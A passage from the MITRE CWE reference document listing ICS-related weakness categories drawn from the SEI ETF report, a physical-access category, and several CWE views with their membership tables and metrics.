[REF-1248]Securing Energy Infrastructure Executive Task Force (SEI ETF). "Categories of Security Vulnerabilities in ICS". 2022 March 9. < [https://inl.gov/wp-content/uploads/2022/03/SEI-ETF-NCSV-TPT-Categories-of-Security-Vulnerabilities-ICS-v1\\_03-09-22.pdf](https://inl.gov/wp-content/uploads/2022/03/SEI-ETF-NCSV-TPT-Categories-of-Security-Vulnerabilities-ICS-v1_03-09-22.pdf) >.

## Category-1374: ICS Engineering (Construction/Deployment): Maker Breaker Blindness

Category ID : 1374

## Summary

Weaknesses in this category are related to the "Maker Breaker Blindness" category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022: "Lack of awareness of deliberate attack techniques by people (vs failure modes from natural causes like weather or metal fatigue) may lead to insufficient security controls being built into ICS systems." Note: members of this category include "Nearest IT Neighbor" recommendations from the report, as well as suggestions by the CWE team. These relationships are likely to change in future CWE versions.

## Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	1362	ICS Engineering (Constructions/Deployment)	1358	2292

## Notes

### Relationship

Relationships in this category are not authoritative and subject to change. See Maintenance notes.

### Maintenance

This category was created in CWE 4.7 to facilitate and illuminate discussion about weaknesses in ICS with [REF-1248] as a starting point. After the release of CWE 4.9 in October 2022, this has been under active review by members of the "Boosting CWE" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG). Relationships are still subject to change. In addition, there may be some issues in [REF-1248] that are outside of the current scope of CWE, which will require consultation with many CWE stakeholders to resolve.

## References

[REF-1248]Securing Energy Infrastructure Executive Task Force (SEI ETF). "Categories of Security Vulnerabilities in ICS". 2022 March 9. < [https://inl.gov/wp-content/uploads/2022/03/SEI-ETF-NCSV-TPT-Categories-of-Security-Vulnerabilities-ICS-v1\\_03-09-22.pdf](https://inl.gov/wp-content/uploads/2022/03/SEI-ETF-NCSV-TPT-Categories-of-Security-Vulnerabilities-ICS-v1_03-09-22.pdf) >.

## Category-1375: ICS Engineering (Construction/Deployment): Gaps in Details/Data

Category ID : 1375

## Summary

Weaknesses in this category are related to the "Gaps in Details/Data" category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022: "Highly complex systems are often operated by personnel who have years of experience in managing that particular facility or plant. Much of their knowledge is passed along through verbal or hands-on training but may not be fully documented in written practices and procedures." Note: members of this category include "Nearest IT Neighbor" recommendations from the report, as well as suggestions by the CWE team. These relationships are likely to change in future CWE versions.

## Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	1362	ICS Engineering (Constructions/Deployment)	1358	2292
HasMember	G	1059	Insufficient Technical Documentation	1358	1759
HasMember	B	1110	Incomplete Design Documentation	1358	1808

## Notes

**Relationship**

Relationships in this category are not authoritative and subject to change. See Maintenance notes.

**Maintenance**

This category might be subject to CWE Scope Exclusion SCOPE.HUMANPROC (Human/organizational process).

**Maintenance**

This category was created in CWE 4.7 to facilitate and illuminate discussion about weaknesses in ICS with [REF-1248] as a starting point. After the release of CWE 4.9 in October 2022, this has been under active review by members of the "Boosting CWE" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG). Relationships are still subject to change. In addition, there may be some issues in [REF-1248] that are outside of the current scope of CWE, which will require consultation with many CWE stakeholders to resolve.

**References**

[REF-1248]Securing Energy Infrastructure Executive Task Force (SEI ETF). "Categories of Security Vulnerabilities in ICS". 2022 March 9. < [https://inl.gov/wp-content/uploads/2022/03/SEI-ETF-NCSV-TPT-Categories-of-Security-Vulnerabilities-ICS-v1\\_03-09-22.pdf](https://inl.gov/wp-content/uploads/2022/03/SEI-ETF-NCSV-TPT-Categories-of-Security-Vulnerabilities-ICS-v1_03-09-22.pdf) >.





## Category-1376: ICS Engineering (Construction/Deployment): Security Gaps in Commissioning

Category ID : 1376

**Summary**

Weaknesses in this category are related to the "Security Gaps in Commissioning" category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022: "As a large system is brought online components of the system may remain vulnerable until the entire system is operating and functional and security controls are put in place. This creates a window of opportunity for an adversary during the commissioning process." Note: members of this category include "Nearest IT Neighbor" recommendations from the report, as well as suggestions by the CWE team. These relationships are likely to change in future CWE versions.

**Membership**

Nature	Type	ID	Name	V	Page
MemberOf		1362	ICS Engineering (Constructions/Deployment)	<input checked="" type="checkbox"/>	2292
HasMember		276	Incorrect Default Permissions		630
HasMember		362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')		841
HasMember		1393	Use of Default Password		2093

**Notes****Relationship**

Relationships in this category are not authoritative and subject to change. See Maintenance notes.

**Maintenance**

This category was created in CWE 4.7 to facilitate and illuminate discussion about weaknesses in ICS with [REF-1248] as a starting point. After the release of CWE 4.9 in October 2022, this has been under active review by members of the "Boosting CWE" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG). Relationships are still subject to change. In addition, there

may be some issues in [REF-1248] that are outside of the current scope of CWE, which will require consultation with many CWE stakeholders to resolve.

## References

[REF-1248]Securing Energy Infrastructure Executive Task Force (SEI ETF). "Categories of Security Vulnerabilities in ICS". 2022 March 9. < [https://inl.gov/wp-content/uploads/2022/03/SEI-ETF-NCSV-TPT-Categories-of-Security-Vulnerabilities-ICS-v1\\_03-09-22.pdf](https://inl.gov/wp-content/uploads/2022/03/SEI-ETF-NCSV-TPT-Categories-of-Security-Vulnerabilities-ICS-v1_03-09-22.pdf) >.

## Category-1377: ICS Engineering (Construction/Deployment): Inherent Predictability in Design

Category ID : 1377

### Summary

Weaknesses in this category are related to the "Inherent Predictability in Design" category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022: "The commonality of design (in ICS/SCADA architectures) for energy systems and environments opens up the possibility of scaled compromise by leveraging the inherent predictability in the design." Note: members of this category include "Nearest IT Neighbor" recommendations from the report, as well as suggestions by the CWE team. These relationships are likely to change in future CWE versions.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	1362	ICS Engineering (Constructions/Deployment)	1358	2292
HasMember	B	1278	Missing Protection Against Hardware Reverse Engineering Using Integrated Circuit (IC) Imaging Techniques	1358	1955

### Notes

#### Relationship

Relationships in this category are not authoritative and subject to change. See Maintenance notes.

#### Maintenance

This category was created in CWE 4.7 to facilitate and illuminate discussion about weaknesses in ICS with [REF-1248] as a starting point. After the release of CWE 4.9 in October 2022, this has been under active review by members of the "Boosting CWE" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG). Relationships are still subject to change. In addition, there may be some issues in [REF-1248] that are outside of the current scope of CWE, which will require consultation with many CWE stakeholders to resolve.

## References

[REF-1248]Securing Energy Infrastructure Executive Task Force (SEI ETF). "Categories of Security Vulnerabilities in ICS". 2022 March 9. < [https://inl.gov/wp-content/uploads/2022/03/SEI-ETF-NCSV-TPT-Categories-of-Security-Vulnerabilities-ICS-v1\\_03-09-22.pdf](https://inl.gov/wp-content/uploads/2022/03/SEI-ETF-NCSV-TPT-Categories-of-Security-Vulnerabilities-ICS-v1_03-09-22.pdf) >.

## Category-1378: ICS Operations (& Maintenance): Gaps in obligations and training

Category ID : 1378

## Summary

Weaknesses in this category are related to the "Gaps in obligations and training" category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022: "OT ownership and responsibility for identifying and mitigating vulnerabilities are not clearly defined or communicated within an organization, leaving environments unpatched, exploitable, and with a broader attack surface." Note: members of this category include "Nearest IT Neighbor" recommendations from the report, as well as suggestions by the CWE team. These relationships are likely to change in future CWE versions.

## Membership

Nature	Type	ID	Name	V	Page
MemberOf		1363	ICS Operations (& Maintenance)	1358	2293

## Notes

### Relationship

Relationships in this category are not authoritative and subject to change. See Maintenance notes.

### Maintenance

This category might be subject to CWE Scope Exclusion SCOPE.HUMANPROC (Human/organizational process).

### Maintenance

This category was created in CWE 4.7 to facilitate and illuminate discussion about weaknesses in ICS with [REF-1248] as a starting point. After the release of CWE 4.9 in October 2022, this has been under active review by members of the "Boosting CWE" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG). Relationships are still subject to change. In addition, there may be some issues in [REF-1248] that are outside of the current scope of CWE, which will require consultation with many CWE stakeholders to resolve.

## References

[REF-1261]Sam Weber, Paul A. Karger and Amit Paradkar. "A Software Flaw Taxonomy: Aiming Tools At Security". 2005. < <https://cwe.mitre.org/documents/sources/ASoftwareFlawTaxonomy-AimingToolsatSecurity%5BWeber,Karger,Paradkar%5D.pdf> >.

[REF-1248]Securing Energy Infrastructure Executive Task Force (SEI ETF). "Categories of Security Vulnerabilities in ICS". 2022 March 9. < [https://inl.gov/wp-content/uploads/2022/03/SEI-ETF-NCSV-TPT-Categories-of-Security-Vulnerabilities-ICS-v1\\_03-09-22.pdf](https://inl.gov/wp-content/uploads/2022/03/SEI-ETF-NCSV-TPT-Categories-of-Security-Vulnerabilities-ICS-v1_03-09-22.pdf) >.

## Category-1379: ICS Operations (& Maintenance): Human factors in ICS environments

Category ID : 1379

## Summary

Weaknesses in this category are related to the "Human factors in ICS environments" category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022: "Environmental factors in ICS including physical duress, system complexities, and isolation may result in security gaps or inadequacies in the performance of individual duties and responsibilities." Note: members of this category include "Nearest IT Neighbor" recommendations from the report, as well as suggestions by the CWE team. These relationships are likely to change in future CWE versions.

## Membership

Nature	Type	ID	Name	V	Page
MemberOf		1363	ICS Operations (& Maintenance)	1358	2293
HasMember		451	User Interface (UI) Misrepresentation of Critical Information	1358	1020
HasMember		655	Insufficient Psychological Acceptability	1358	1357

## Notes

### Relationship

Relationships in this category are not authoritative and subject to change. See Maintenance notes.

### Maintenance

This category might be subject to CWE Scope Exclusion SCOPE.HUMANPROC (Human/organizational process).

### Maintenance

This category was created in CWE 4.7 to facilitate and illuminate discussion about weaknesses in ICS with [REF-1248] as a starting point. After the release of CWE 4.9 in October 2022, this has been under active review by members of the "Boosting CWE" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG). Relationships are still subject to change. In addition, there may be some issues in [REF-1248] that are outside of the current scope of CWE, which will require consultation with many CWE stakeholders to resolve.

## References

[REF-1248]Securing Energy Infrastructure Executive Task Force (SEI ETF). "Categories of Security Vulnerabilities in ICS". 2022 March 9. < [https://inl.gov/wp-content/uploads/2022/03/SEI-ETF-NCSV-TPT-Categories-of-Security-Vulnerabilities-ICS-v1\\_03-09-22.pdf](https://inl.gov/wp-content/uploads/2022/03/SEI-ETF-NCSV-TPT-Categories-of-Security-Vulnerabilities-ICS-v1_03-09-22.pdf) >.

## Category-1380: ICS Operations (& Maintenance): Post-analysis changes

Category ID : 1380

## Summary

Weaknesses in this category are related to the "Post-analysis changes" category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022: "Changes made to a previously analyzed and approved ICS environment can introduce new security vulnerabilities (as opposed to safety)." Note: members of this category include "Nearest IT Neighbor" recommendations from the report, as well as suggestions by the CWE team. These relationships are likely to change in future CWE versions.

## Membership

Nature	Type	ID	Name	V	Page
MemberOf		1363	ICS Operations (& Maintenance)	1358	2293

## Notes

### Relationship

Relationships in this category are not authoritative and subject to change. See Maintenance notes.

### Maintenance

This category might be subject to CWE Scope Exclusion SCOPE.HUMANPROC (Human/organizational process).

### Maintenance



This category was created in CWE 4.7 to facilitate and illuminate discussion about weaknesses in ICS with [REF-1248] as a starting point. After the release of CWE 4.9 in October 2022, this has been under active review by members of the "Boosting CWE" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG). Relationships are still subject to change. In addition, there may be some issues in [REF-1248] that are outside of the current scope of CWE, which will require consultation with many CWE stakeholders to resolve.

## References

[REF-1248]Securing Energy Infrastructure Executive Task Force (SEI ETF). "Categories of Security Vulnerabilities in ICS". 2022 March 9. < [https://inl.gov/wp-content/uploads/2022/03/SEI-ETF-NCSV-TPT-Categories-of-Security-Vulnerabilities-ICS-v1\\_03-09-22.pdf](https://inl.gov/wp-content/uploads/2022/03/SEI-ETF-NCSV-TPT-Categories-of-Security-Vulnerabilities-ICS-v1_03-09-22.pdf) >.

## Category-1381: ICS Operations (& Maintenance): Exploitable Standard Operational Procedures

Category ID : 1381

### Summary

Weaknesses in this category are related to the "Exploitable Standard Operational Procedures" category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022: "Standard ICS Operational Procedures developed for safety and operational functionality in a closed, controlled communications environment can introduce vulnerabilities in a more connected environment." Note: members of this category include "Nearest IT Neighbor" recommendations from the report, as well as suggestions by the CWE team. These relationships are likely to change in future CWE versions.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	1363	ICS Operations (& Maintenance)	1358	2293

### Notes

#### Relationship

Relationships in this category are not authoritative and subject to change. See Maintenance notes.

#### Maintenance

This entry might be subject to CWE Scope Exclusions SCOPE.SITUATIONS (Focus on situations in which weaknesses may appear) and/or SCOPE.HUMANPROC (Human/organizational process).

#### Maintenance

This category was created in CWE 4.7 to facilitate and illuminate discussion about weaknesses in ICS with [REF-1248] as a starting point. After the release of CWE 4.9 in October 2022, this has been under active review by members of the "Boosting CWE" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG). Relationships are still subject to change. In addition, there may be some issues in [REF-1248] that are outside of the current scope of CWE, which will require consultation with many CWE stakeholders to resolve.

## References

[REF-1248]Securing Energy Infrastructure Executive Task Force (SEI ETF). "Categories of Security Vulnerabilities in ICS". 2022 March 9. < [https://inl.gov/wp-content/uploads/2022/03/SEI-ETF-NCSV-TPT-Categories-of-Security-Vulnerabilities-ICS-v1\\_03-09-22.pdf](https://inl.gov/wp-content/uploads/2022/03/SEI-ETF-NCSV-TPT-Categories-of-Security-Vulnerabilities-ICS-v1_03-09-22.pdf) >.



## Category-1382: ICS Operations (& Maintenance): Emerging Energy Technologies

Category ID : 1382

### Summary

Weaknesses in this category are related to the "Emerging Energy Technologies" category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022: "With the rapid evolution of the energy system accelerated by the emergence of new technologies such as DERs, electric vehicles, advanced communications (5G+), novel and diverse challenges arise for secure and resilient operation of the system." Note: members of this category include "Nearest IT Neighbor" recommendations from the report, as well as suggestions by the CWE team. These relationships are likely to change in future CWE versions.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf		1363	ICS Operations (& Maintenance)	1358	2293
HasMember		20	Improper Input Validation	1358	19
HasMember		285	Improper Authorization	1358	649
HasMember		295	Improper Certificate Validation	1358	677
HasMember		296	Improper Following of a Certificate's Chain of Trust	1358	682
HasMember		346	Origin Validation Error	1358	808
HasMember		406	Insufficient Control of Network Message Volume (Network Amplification)	1358	937
HasMember		601	URL Redirection to Untrusted Site ('Open Redirect')	1358	1266

### Notes

#### Relationship

Relationships in this category are not authoritative and subject to change. See Maintenance notes.

#### Maintenance

This category might be subject to CWE Scope Exclusion SCOPE.SITUATIONS (Focus on situations in which weaknesses may appear).

#### Maintenance

This category was created in CWE 4.7 to facilitate and illuminate discussion about weaknesses in ICS with [REF-1248] as a starting point. After the release of CWE 4.9 in October 2022, this has been under active review by members of the "Boosting CWE" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG). Relationships are still subject to change. In addition, there may be some issues in [REF-1248] that are outside of the current scope of CWE, which will require consultation with many CWE stakeholders to resolve.

### References

[REF-1248]Securing Energy Infrastructure Executive Task Force (SEI ETF). "Categories of Security Vulnerabilities in ICS". 2022 March 9. < [https://inl.gov/wp-content/uploads/2022/03/SEI-ETF-NCSV-TPT-Categories-of-Security-Vulnerabilities-ICS-v1\\_03-09-22.pdf](https://inl.gov/wp-content/uploads/2022/03/SEI-ETF-NCSV-TPT-Categories-of-Security-Vulnerabilities-ICS-v1_03-09-22.pdf) >.

## Category-1383: ICS Operations (& Maintenance): Compliance/Conformance with Regulatory Requirements

Category ID : 1383

## Summary

Weaknesses in this category are related to the "Compliance/Conformance with Regulatory Requirements" category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022: "The ICS environment faces overlapping regulatory regimes and authorities with multiple focus areas (e.g., operational resiliency, physical safety, interoperability, and security) which can result in cyber security vulnerabilities when implemented as written due to gaps in considerations, outdatedness, or conflicting requirements." Note: members of this category include "Nearest IT Neighbor" recommendations from the report, as well as suggestions by the CWE team. These relationships are likely to change in future CWE versions.

## Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	1363	ICS Operations (& Maintenance)	1358	2293
HasMember	P	710	Improper Adherence to Coding Standards	1358	1444

## Notes

### Relationship

Relationships in this category are not authoritative and subject to change. See Maintenance notes.

### Maintenance

This entry might be subject to CWE Scope Exclusions SCOPE.SITUATIONS (Focus on situations in which weaknesses may appear) and/or SCOPE.HUMANPROC (Human/organizational process).

### Maintenance

This category was created in CWE 4.7 to facilitate and illuminate discussion about weaknesses in ICS with [REF-1248] as a starting point. After the release of CWE 4.9 in October 2022, this has been under active review by members of the "Boosting CWE" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG). Relationships are still subject to change. In addition, there may be some issues in [REF-1248] that are outside of the current scope of CWE, which will require consultation with many CWE stakeholders to resolve.

## References

[REF-1248]Securing Energy Infrastructure Executive Task Force (SEI ETF). "Categories of Security Vulnerabilities in ICS". 2022 March 9. < [https://inl.gov/wp-content/uploads/2022/03/SEI-ETF-NCSV-TPT-Categories-of-Security-Vulnerabilities-ICS-v1\\_03-09-22.pdf](https://inl.gov/wp-content/uploads/2022/03/SEI-ETF-NCSV-TPT-Categories-of-Security-Vulnerabilities-ICS-v1_03-09-22.pdf) >.

## Category-1388: Physical Access Issues and Concerns

Category ID : 1388

## Summary

Weaknesses in this category are related to concerns of physical access.

## Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1194	Hardware Design	1194	2346
HasMember	B	1247	Improper Protection Against Voltage and Clock Glitches	1194	1886
HasMember	B	1248	Semiconductor Defects in Hardware Logic with Security-Sensitive Implications	1194	1889
HasMember	V	1255	Comparison Logic is Vulnerable to Power Side-Channel Attacks	1194	1902

Nature	Type	ID	Name	V	Page
HasMember	B	1261	Improper Handling of Single Event Upsets		1194 1918
HasMember	B	1278	Missing Protection Against Hardware Reverse Engineering Using Integrated Circuit (IC) Imaging Techniques		1194 1955
HasMember	B	1300	Improper Protection of Physical Side Channels		1194 1996
HasMember	B	1319	Improper Protection against Electromagnetic Fault Injection (EM-FI)		1194 2026
HasMember	B	1332	Improper Handling of Faults that Lead to Instruction Skips		1194 2050
HasMember	B	1351	Improper Handling of Hardware Behavior in Exceptionally Cold Environments		1194 2074
HasMember	C	1384	Improper Handling of Physical or Environmental Conditions		1194 2078

## Views

### View-604: Deprecated Entries

**View ID :** 604  
**Type :** Implicit

#### Objective

CWE nodes in this view (slice) have been deprecated. There should be a reference pointing to the replacement in each deprecated weakness.

#### Filter

/Weakness\_Catalog/\*/\*[@Status='Deprecated']

#### Membership

Nature	Type	ID	Name	Page
HasMember	V	604	Deprecated Entries	2310

#### Metrics

	CWEs in this view
Weaknesses	25
Categories	35
Views	4
Total	64

### View-629: Weaknesses in OWASP Top Ten (2007)

**View ID :** 629  
**Type :** Graph

#### Objective

CWE nodes in this view (graph) are associated with the OWASP Top Ten, as released in 2007. This view is considered obsolete as a newer version of the OWASP Top Ten is available.

#### Audience

**Software Developers**

This view outlines the most important issues as identified by the OWASP Top Ten (2007 version), providing a good starting point for web application developers who want to code more securely.











### Product Customers

This view outlines the most important issues as identified by the OWASP Top Ten (2007 version), providing customers with a way of asking their software developers to follow minimum expectations for secure code.

### Educators

Since the OWASP Top Ten covers the most frequently encountered issues, this view can be used by educators as training material for students.

### Membership

Nature	Type	ID	Name	Page
HasMember		712	OWASP Top Ten 2007 Category A1 - Cross Site Scripting (XSS)	2123
HasMember		713	OWASP Top Ten 2007 Category A2 - Injection Flaws	2124
HasMember		714	OWASP Top Ten 2007 Category A3 - Malicious File Execution	2124
HasMember		715	OWASP Top Ten 2007 Category A4 - Insecure Direct Object Reference	2124
HasMember		716	OWASP Top Ten 2007 Category A5 - Cross Site Request Forgery (CSRF)	2125
HasMember		717	OWASP Top Ten 2007 Category A6 - Information Leakage and Improper Error Handling	2125
HasMember		718	OWASP Top Ten 2007 Category A7 - Broken Authentication and Session Management	2126
HasMember		719	OWASP Top Ten 2007 Category A8 - Insecure Cryptographic Storage	2126
HasMember		720	OWASP Top Ten 2007 Category A9 - Insecure Communications	2126
HasMember		721	OWASP Top Ten 2007 Category A10 - Failure to Restrict URL Access	2127

### Notes

#### Relationship

The relationships in this view are a direct extraction of the CWE mappings that are in the 2007 OWASP document. CWE has changed since the release of that document.

### References

[REF-519]"Top 10 2007". 2007 May 8. OWASP. < [http://www.owasp.org/index.php/Top\\_10\\_2007](http://www.owasp.org/index.php/Top_10_2007) >.

### Metrics

	CWEs in this view		Total CWEs
Weaknesses	28	out of	933
Categories	10	out of	352
Views	0	out of	47
Total	38	out of	1332

## View-635: Weaknesses Originally Used by NVD from 2008 to 2016

View ID : 635

**Type** : Explicit**Objective**

CWE nodes in this view (slice) were used by NIST to categorize vulnerabilities within NVD, from 2008 to 2016. This original version has been used by many other projects.

**Membership**

Nature	Type	ID	Name	Page
HasMember	C	16	Configuration	2100
HasMember	G	20	Improper Input Validation	19
HasMember	B	22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	33
HasMember	B	59	Improper Link Resolution Before File Access ('Link Following')	108
HasMember	B	78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	147
HasMember	B	79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	159
HasMember	B	89	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	195
HasMember	B	94	Improper Control of Generation of Code ('Code Injection')	213
HasMember	G	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	283
HasMember	B	134	Use of Externally-Controlled Format String	349
HasMember	C	189	Numeric Errors	2103
HasMember	G	200	Exposure of Sensitive Information to an Unauthorized Actor	484
HasMember	C	255	Credentials Management Errors	2107
HasMember	C	264	Permissions, Privileges, and Access Controls	2108
HasMember	G	287	Improper Authentication	657
HasMember	C	310	Cryptographic Issues	2111
HasMember	B	352	Cross-Site Request Forgery (CSRF)	821
HasMember	G	362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')	841
HasMember	C	399	Resource Management Errors	2117

**Notes****Maintenance**

In Summer 2007, NIST began using this set of CWE elements to classify CVE entries within the National Vulnerability Database (NVD). The data was made publicly available beginning in 2008. In 2016, NIST began using a different list as derived from the "Weaknesses for Simplified Mapping of Published Vulnerabilities" view (CWE-1003).

**References**

[REF-1]NIST. "CWE - Common Weakness Enumeration". < <http://nvd.nist.gov/cwe.cfm> >.

**Metrics**

	CWEs in this view		Total CWEs
Weaknesses	13	out of	933
Categories	6	out of	352
Views	0	out of	47
Total	19	out of	1332

## View-658: Weaknesses in Software Written in C

**View ID** : 658

**Type** : Implicit

### Objective

This view (slice) covers issues that are found in C programs that are not common to all languages.

### Filter

/Weakness\_Catalog/Weaknesses/Weakness[./Applicable\_Platforms/Language/@Name='C']

### Membership

Nature	Type	ID	Name	Page
HasMember	<input checked="" type="checkbox"/>	658	Weaknesses in Software Written in C	2313

### Metrics

	CWEs in this view		Total CWEs
Weaknesses	82	out of	933
Categories	0	out of	352
Views	0	out of	47
Total	82	out of	1332

## View-659: Weaknesses in Software Written in C++

**View ID** : 659

**Type** : Implicit

### Objective

This view (slice) covers issues that are found in C++ programs that are not common to all languages.

### Filter

/Weakness\_Catalog/Weaknesses/Weakness[./Applicable\_Platforms/Language/@Name='C++']

### Membership

Nature	Type	ID	Name	Page
HasMember	<input checked="" type="checkbox"/>	659	Weaknesses in Software Written in C++	2313

### Metrics

	CWEs in this view		Total CWEs
Weaknesses	86	out of	933
Categories	0	out of	352
Views	0	out of	47
Total	86	out of	1332

## View-660: Weaknesses in Software Written in Java

**View ID** : 660

**Type** : Implicit

### Objective

This view (slice) covers issues that are found in Java programs that are not common to all languages.

### Filter

/Weakness\_Catalog/Weaknesses/Weakness[./Applicable\_Platforms/Language/@Name='Java']

### Membership

Nature	Type	ID	Name	Page
HasMember	<input checked="" type="checkbox"/>	660	Weaknesses in Software Written in Java	2313

### Metrics

	CWEs in this view	Total CWEs
Weaknesses	77 out of	933
Categories	0 out of	352
Views	0 out of	47
Total	77 out of	1332

## View-661: Weaknesses in Software Written in PHP

View ID : 661

Type : Implicit

### Objective

This view (slice) covers issues that are found in PHP programs that are not common to all languages.

### Filter

/Weakness\_Catalog/Weaknesses/Weakness[./Applicable\_Platforms/Language/@Name='PHP']

### Membership

Nature	Type	ID	Name	Page
HasMember	<input checked="" type="checkbox"/>	661	Weaknesses in Software Written in PHP	2314

### Metrics

	CWEs in this view	Total CWEs
Weaknesses	25 out of	933
Categories	0 out of	352
Views	0 out of	47
Total	25 out of	1332

## View-677: Weakness Base Elements

View ID : 677

Type : Implicit

### Objective

This view (slice) displays only weakness base elements.

### Filter

/Weakness\_Catalog/Weaknesses/Weakness[@Abstraction='Base'][not(@Status='Deprecated')]

### Membership

Nature	Type	ID	Name	Page
HasMember	<input checked="" type="checkbox"/>	677	Weakness Base Elements	2314

### Metrics

	CWEs in this view	Total CWEs
Weaknesses	523 out of	933



	CWEs in this view		Total CWEs
Categories	0	out of	352
Views	0	out of	47
Total	523	out of	1332

## View-678: Composites

**View ID :** 678

**Type :** Implicit

### Objective

This view displays only composite weaknesses.

### Filter

/Weakness\_Catalog/Weaknesses/Weakness[@Structure='Composite'][not(@Status='Deprecated')]

### Membership

Nature	Type	ID	Name	Page
HasMember	<input checked="" type="checkbox"/>	678	Composites	2315

### Metrics

	CWEs in this view		Total CWEs
Weaknesses	4	out of	933
Categories	0	out of	352
Views	0	out of	47
Total	4	out of	1332

## View-699: Software Development

**View ID :** 699

**Type :** Graph

### Objective

This view organizes weaknesses around concepts that are frequently used or encountered in software development. This includes all aspects of the software development lifecycle including both architecture and implementation. Accordingly, this view can align closely with the perspectives of architects, developers, educators, and assessment vendors. It provides a variety of categories that are intended to simplify navigation, browsing, and mapping.

### Audience

#### Software Developers

Software developers (including architects, designers, coders, and testers) use this view to better understand potential mistakes that can be made in specific areas of their software application. The use of concepts that developers are familiar with makes it easier to navigate this view, and filtering by Modes of Introduction can enable focus on a specific phase of the development lifecycle.

#### Educators

Educators use this view to teach future developers about the types of mistakes that are commonly made within specific parts of a codebase.

### Membership

Nature	Type	ID	Name	Page
HasMember	C	19	Data Processing Errors	2101
HasMember	C	133	String Errors	2101
HasMember	C	136	Type Errors	2102
HasMember	C	137	Data Neutralization Issues	2102
HasMember	C	189	Numeric Errors	2103
HasMember	C	199	Information Management Errors	2104
HasMember	C	255	Credentials Management Errors	2107
HasMember	C	265	Privilege Issues	2109
HasMember	C	275	Permission Issues	2110
HasMember	C	310	Cryptographic Issues	2111
HasMember	C	320	Key Management Errors	2112
HasMember	C	355	User Interface Security Issues	2112
HasMember	C	371	State Issues	2114
HasMember	C	387	Signal Errors	2114
HasMember	C	389	Error Conditions, Return Values, Status Codes	2115
HasMember	C	399	Resource Management Errors	2117
HasMember	C	411	Resource Locking Problems	2118
HasMember	C	417	Communication Channel Errors	2119
HasMember	C	429	Handler Errors	2119
HasMember	C	438	Behavioral Problems	2120
HasMember	C	452	Initialization and Cleanup Errors	2120
HasMember	C	465	Pointer Issues	2121
HasMember	C	557	Concurrency Issues	2122
HasMember	C	569	Expression Issues	2123
HasMember	C	840	Business Logic Errors	2153
HasMember	C	1006	Bad Coding Practices	2215
HasMember	C	1210	Audit / Logging Errors	2268
HasMember	C	1211	Authentication Errors	2268
HasMember	C	1212	Authorization Errors	2269
HasMember	C	1213	Random Number Issues	2270
HasMember	C	1214	Data Integrity Issues	2270
HasMember	C	1215	Data Validation Issues	2271
HasMember	C	1216	Lockout Mechanism Errors	2271
HasMember	C	1217	User Session Errors	2272
HasMember	C	1218	Memory Buffer Errors	2272
HasMember	C	1219	File Handling Issues	2273
HasMember	C	1225	Documentation Issues	2273
HasMember	C	1226	Complexity Issues	2273
HasMember	C	1227	Encapsulation Issues	2274
HasMember	C	1228	API / Function Errors	2275

## Notes

### Other

The top level categories in this view represent commonly understood areas/terms within software development, and are meant to aid the user in identifying potential related weaknesses. It is possible for the same weakness to exist within multiple different categories.

### Other

This view attempts to present weaknesses in a simple and intuitive way. As such it targets a single level of abstraction. It is important to realize that not every CWE will be represented in this view. High-level class weaknesses and low-level variant weaknesses are mostly ignored. However, by exploring the weaknesses that are included, and following the defined relationships, one can find these higher and lower level weaknesses.

### Metrics

	CWEs in this view		Total CWEs
Weaknesses	419	out of	933
Categories	40	out of	352
Views	0	out of	47
Total	459	out of	1332

## View-700: Seven Pernicious Kingdoms

**View ID :** 700

**Type :** Graph

### Objective









This view (graph) organizes weaknesses using a hierarchical structure that is similar to that used by Seven Pernicious Kingdoms.

### Audience

#### Software Developers

This view is useful for developers because it is organized around concepts with which developers are familiar, and it focuses on weaknesses that can be detected using source code analysis tools.

### Membership

Nature	Type	ID	Name	Page
HasMember		2	7PK - Environment	2099
HasMember		227	7PK - API Abuse	2105
HasMember		254	7PK - Security Features	2106
HasMember		361	7PK - Time and State	2113
HasMember		388	7PK - Errors	2114
HasMember		398	7PK - Code Quality	2116
HasMember		485	7PK - Encapsulation	2121
HasMember		1005	7PK - Input Validation and Representation	2214

### Notes

#### Other

The MITRE CWE team frequently uses "7PK" as an abbreviation for Seven Pernicious Kingdoms.

### References

